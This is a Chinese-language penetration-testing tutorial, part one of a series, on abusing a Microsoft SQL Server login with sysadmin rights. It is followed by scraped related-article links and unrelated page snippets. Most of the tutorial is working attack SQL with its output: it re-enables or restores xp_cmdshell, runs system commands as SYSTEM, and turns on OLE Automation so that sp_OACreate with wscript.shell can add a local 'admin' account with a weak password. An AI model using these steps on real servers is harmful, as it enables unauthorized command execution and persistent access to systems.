详述MSSQL服务在渗透测试中的利用(上篇)
前言:
致力于复现最实用的漏洞利用过程。
本文将带领大家学习以下内容:
- 学习使用`xp_cmdshell`扩展存储过程
- 学习调用`wscript.shell`
- 学习MSSQL写文件
- 学习沙盘模式提权
- 学习注册表映像劫持提
part1 使用`xp_cmdshell`扩展存储过程
步骤1 连接MSSQL服务
首先打开SQL查询分析器如下填写相关参数(此处数据库相关信息假设是我们通过前期渗透测试得到。
相关参数填写完毕之后点击`确定`进入该服务器MSSQL查询分析页面。
登入对方的MSSQL服务之后,我们看到SQL查询分析器的界面如下,请看图示,了解查询分析器的功能页:如果没有出现左侧的对象浏览器,请点击如上图示的右上角红框部分来开启对象浏览器。
查询框用于输入将要执行查询的SQL语句。
比如,我们在查询框输入一下语句来查看数据库信息和系统版本:
select @@version
MSSQL语句后面可以跟`;`结束查询或连接多句查询。后面跟`--`可以达到注释以后多余的语句的目的。
默认情况下我们查看到的结果并不完整,是表格查看方式,为了更明显的查看到SQL查询返回,我们点击工具栏的`查询`->`文本显示结果`,然后再执行SQL语句:
此时可以看到完整的查询结果为:
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 2005 00:33:37
Copyright (c) 1988-2005 Microsoft Corporation
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
(所影响的行数为 1 行)
MSSQL版本:`Microsoft SQL Server 2005`
服务器版本:`Windows NT 5.2(windows2003)`
步骤2 验证权限并尝试执行
我们使用一下SQL语句来检测对方的MSSQL服务是否为`SA`权限(`sa`权限的MSSQL用户一般来说对应的是系统的`system`权限):
select IS_SRVROLEMEMBER('sysadmin')
如果查询结果返回`1`则说明是`SA`权限,很幸运,我们的目标机的`MSSQL`账户对应的是`SA`
权限。
使用以下SQL语句判断目标机的MSSQL服务是否存在`xp_cmdshell`扩展存储过程:
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
只要返回结果不是`0`就说明存在`xp_cmdshell`扩展存储过程,启用没启用我们稍后再作判断:
如上,查询返回`1`,即是存在`xp_cmdshell`扩展存储过程,那么我们尝试执行以下SQL语句使用`xp_cmdshell`扩展存储过程来执行系统命令`whoami`(查看当前系统权限):
Exec master..xp_cmdshell 'whoami';
命令并没有执行成功,得到了如下错误信息。
Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
步骤3 修复扩展存储过程
幸运的是我们从报错信息可以得出,`xp_cmdshell`扩展存储过程没被删除,只是禁止访问。于是我们就可以通过SQL语句启用它。
(如果不支持多句执行的话,请单独执行以分号分割的每句):
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
以上SQL语句的执行返回如下:
配置选项 'show advanced options' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
配置选项 'xp_cmdshell' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
SQL查询返回如上则说明`xp_cmdshell`扩展存储过程启用成功。
启用之后我们再使用以下SQL语句使用`xp_cmdshell`扩展存储过程执行系统命令:
Exec master..xp_cmdshell 'whoami';
语句执行回显如下:
output
---------
nt authority\system
NULL(所影响的行数为 2 行)
如上,我们成功取得回显,得知当前用户权限是`SYSTEM`.
当然也可以进行windows的账户操作:
Exec master..xp_cmdshell 'net user';
> `net user`命令查看系统当前用户情况
步骤4 后续处理
如果`xp_cmdshell`扩展存储过程被删除,可以使用以下语句重新添加:
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';
使用以下语句来卸载存储过程`xp_cmdshell`:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
得到如下返回:
配置选项 'show advanced options' 已从 1 更改为 1。请运行 RECONFIGURE 语句进行安装。
配置选项 'xp_cmdshell' 已从 1 更改为 0。请运行 RECONFIGURE 语句进行安装。
禁用之后我们再尝试使用`xp_cmdshell`扩展存储过程执行命令将不会成功:
Exec master..xp_cmdshell 'whoami';
若果想彻底删除`xp_cmdshell`扩展存储过程,建议在C盘里直接搜索`xplog70.dll` ,然后删除之。
part2 调用`wscript.shell`
步骤1 恢复`sys.sp_OACreate`
当`xp_cmdshell`扩展存储过程被删除或者无法使用的情况,我们不妨试试利用`SP_OACreate`和`SP_OAMETHOD`调用系统`wscript.shell`执行系统命令。
Declare @runshell INT;Exec SP_OACreate 'wscript.shell',@runshell out;Exec SP_OAMeTHOD @runshell,'run',null,'net user admin 123456 /add';
如下可见,默认是不行的,有如下报错信息:
SQL Server 阻止了对组件"Ole Automation Procedures"的 过程"sys.sp_OACreate"的访问,因为此组件已作为此服务器安全配置的一部分而被关闭
使用 `Ole Automation Procedures` 选项可指定是否可以在 `Transact-SQL` 批处理中实例化 `OLE Automation` 对象。 还可以使用基于策略的管理或者 `sp_configure` 存储过程来配置这一选项。 有关详细信息,请参阅外围应用配置器。
可以将 `Ole Automation Procedures` 选项设置为以下值:
>`0`:禁用 OLE Automation Procedures。 SQL Server 新实例的默认值。
>`1`:启用 OLE Automation Procedures。
当启用 `OLE Automation Procedures `时,对 `sp_OACreate`的调用将会启动 `OLE` 共享执行环境。
可以使用 `sp_configure` 系统存储过程来查看和更改 `Ole Automation Procedures` 选项的当前值。
执行以下SQL语句查看 `OLE Automation Procedures` 的当前设置:
EXEC sp_configure 'Ole Automation Procedures';
默认情况下返回以下信息
minimum maximum config_value run_value
------- --------- ------------ ---------
0 1 0 0
如上,`config_value` 和`run_value`的值都为0,表示禁用。
执行以下SQL语句启用 `OLE Automation Procedures`:
exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
配置选项 'show advanced options' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
配置选项 'Ole Automation Procedures' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
步骤2 利用`sys.sp_OACreate`
再试试利用`SP_OACreate`和`SP_OAMETHOD`调用系统`wscript.shell`执行系统命令。
Declare @runshell INT;Exec SP_OACreate 'wscript.shell',@runshell out;Exec SP_OAMeTHOD @runshell,'run',null,'net user admin 123456 /add';
如下图可见,没有报错,成功执行了查询,但是没有看到CMD命令的回显:
那么我们可以尝试使用`xp_cmdshell`来验证账户是否添加成功:
如果`xp_cmdshell`拓展存储过程不存在,先使用以下语句恢复:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
然后执行以下语句验证是否通过利用`SP_OACreate`和`SP_OAMETHOD`调用系统`wscript.shell`执行了添加admin账户的系统命令:
Exec master..xp_cmdshell 'net user admin';
如上图,存在admin账户,利用成功。
详述MSSQL服务在渗透测试中的利用(上篇)的更多相关文章
- 详述MSSQL服务在渗透测试中的利用 (下篇)
part3 MSSQL写文件 步骤1 sp_makewebtask写文件 因为是`SA`权限,如果目标服务器是web服务器,我们也不用去备份了,可以直接写个一句话木马进去到web目录. 在不知道web ...
- 详述MySQL服务在渗透测试中的利用
本文作者:i春秋签约作家——Binghe 致力于书写ichunqiu社区历史上最长篇最细致最真实的技术复现文章. 文章目录: MySQL之UDF提权 MySQL之MOF提权 MySQL之常规写启动项提 ...
- Windows-NTFS-ADS在渗透测试中的利用
0.什么是ADS Windows:微软公司的一款视窗操作系统,其内核为WindowsNT. NTFS:WindowsNT环境的限制级专用文件系统. ADS:NTFS的系统特性,交换数据流(Altern ...
- (vshadow)Volume Shadow在渗透测试中的利用
本文根据嘶吼学习总结出文中几种方式Vshadow包含在window SDK中,由微软签名. Vshadow包括执行脚本和调用支持卷影快照管理的命令的功能,这些功能可能会被滥用于特权级的防御规避,权限持 ...
- 反向代理在Web渗透测试中的运用
在一次Web渗透测试中,目标是M国的一个Win+Apache+PHP+MYSQL的网站,独立服务器,对外仅开80端口,网站前端的业务系统比较简单,经过几天的测试也没有找到漏洞,甚至连XSS都没有发现, ...
- 渗透测试中的bypass技巧
0x00 前言 许多朋友在渗透测试中因为遇到WAF而束手无策,本人应邀,与godkiller一同写下此文,希望能够对许多朋友的问题有所帮助. 此系列一共分为五篇文章,分别如下: 一.架构层绕过WAF ...
- Windows渗透测试中wmi的利用
0x01 关于WMI WMI可以描述为一组管理Windows系统的方法和功能.我们可以把它当作API来与Windows系统进行相互交流.WMI在渗透测试中的价值在于它不需要下载和安装, 因为WMI是W ...
- WMI在渗透测试中的重要性
0x01 什么是wmi WMI可以描述为一组管理Windows系统的方法和功能.我们可以把它当作API来与Windows系统进行相互交流.WMI在渗透测试中的价值在于它不需要下载和安装, 因为WMI是 ...
- python多线程在渗透测试中的应用
难易程度:★★★ 阅读点:python;web安全; 文章作者:xiaoye 文章来源:i春秋 关键字:网络渗透技术 前言 python是门简单易学的语言,强大的第三方库让我们在编程中事半功倍,今天, ...
随机推荐
- [C#.Net]启动外部程序的几种常用方法汇总
本文汇总了C#启动外部程序的几种常用方法,非常具有实用价值,主要包括如下几种方法: 1. 启动外部程序,不等待其退出. 2. 启动外部程序,等待其退出. 3. 启动外部程序,无限等待其退出. 4. 启 ...
- idea使用git提交代码到远程,这里是没有冲突的演示
首先在项目鼠标右键,找到Git,然后在Git选项里找到Add,点击: 添加到暂存区后,再次找到Git,找到Commit Directory,点击: 然后弹出这个界面: 选中你自己修改的记录,一些不必要 ...
- Vue、 React比较
关键词:MVVM(Model-View-VIewModel)数据模型双向绑定.视图的数据变化会同时修改数据资源,数据资源的变化也会立刻反应到视图View上. 一.vue.js vue是一套构建用户界面 ...
- bind研究(一)转载
## 阅读数:6537 最近自学JavaScript,学到bind方法这块儿有些地方不太明白,自己就查了些资料,结合自己的理解写了这篇文章以备后面回顾用...其实应该还是搬砖为主吧. 什么是this对 ...
- TinyMCE Editor
TinyMCE Editor(https://www.tinymce.com/features/) is an online text editor, it is used to write post ...
- 20155326刘美岑 2016-2017-2 《Java程序设计》第二周学习总结
20155326刘美岑 2016-2017-2 <Java程序设计>第二周学习总结 教材学习内容总结 教材第三章主要讲解的是基础语法,主要包括认识类型与变量.学习运算符的基本使用.了解类型 ...
- Hdu1796 How many integers can you find 2017-06-27 15:54 25人阅读 评论(0) 收藏
How many integers can you find Time Limit : 12000/5000ms (Java/Other) Memory Limit : 65536/32768K ...
- 微软新一代Surface发布,参数曝光
在沉寂许久之后,Surface 2及Surface Pro 2又有猛料爆出,这一次不单单是新品展示,伴随的还有更多的详细的参数和全新配件. 从外观来看,新一代的Surface外形上沿袭了上一代,但颜色 ...
- 转载:readLine()与read()
版权声明:本文为原博主原创文章,未经博主允许不得转载. https://blog.csdn.net/sinat_31057219/article/details/78742653 参考: readLi ...
- node API
看了这么久nodejs,它包含哪些基础的API,自己心中都没有数,该完整地看看基础的API了. 见过的: assert:编写程序的单元测试用例 buffer:直接处理2进制数据 child_proce ...